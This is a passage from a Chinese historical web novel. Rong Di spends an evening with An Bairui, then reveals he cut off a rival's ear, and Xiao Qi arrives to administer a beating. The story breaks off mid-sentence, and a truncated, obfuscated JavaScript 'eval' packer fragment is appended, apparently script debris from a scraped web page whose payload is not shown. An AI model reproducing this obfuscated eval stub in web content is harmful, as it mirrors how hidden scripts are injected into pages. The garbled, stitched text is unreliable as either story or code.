容棣解了披风,施施然坐到她对面。
“王爷也去了,陪着他略坐了坐。”
安白蕊有些愕然,还以为他会直接回房呢。
消沉了多日,今日容棣的变化让她欣喜,果然多深的爱恨都抵不过时间的消磨。
她笑着唤灵芝:“把温着的鸽子汤给容棣端来!”
容棣小口小口慢慢喝,喝的很干净,炖盅底下只余下碎鸽肉和人参等药材。
他做任何事都这样温雅,莹白的指腹被烫的稍微泛红。
安白蕊注意着他每个动作,想伸手摸摸他的指腹是否也是烫的。
“娘娘今日抄的什么?”
他探头过来看,安白蕊忽然嗅到一丝若有若无的香气。
容棣撤回身,香气就消失了。
她稍起的疑虑,被容棣清朗的声音打断:
“‘胜生怨,败生苦;舍得失,得寂静’,不错,娘娘这是有大进益了。不知天下有几人真能做到!”
两人论了一会儿佛法,又下了一局棋。今晚,容棣嘴角总含着淡淡的笑意,两人其乐融融,似乎又回到过去的日子。
突然,窗外枭声响起。
他安静地说:“萧齐来了!”
“你一直在等他?你等他做什么?”
安白蕊突然有些齿冷。
“容棣,你到底做了什么?难道,你杀了孙得禄?”
容棣冷笑一声:“便宜他了,只削了他一只耳朵!”
萧齐一脸无奈:“容棣,你一向做事有分寸,如今却任意妄为,前几日那顿打白挨了。
挖他祖坟,削他耳朵,王爷不让你杀他,你就恶心他是吧?再这样下去,王爷不会放过你的!”
容棣从容脱了上衣,冷言道:“今日削他耳朵,下次挖他眼珠儿,只要他难受,我就舒服。不用多言,打吧!”
萧齐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}]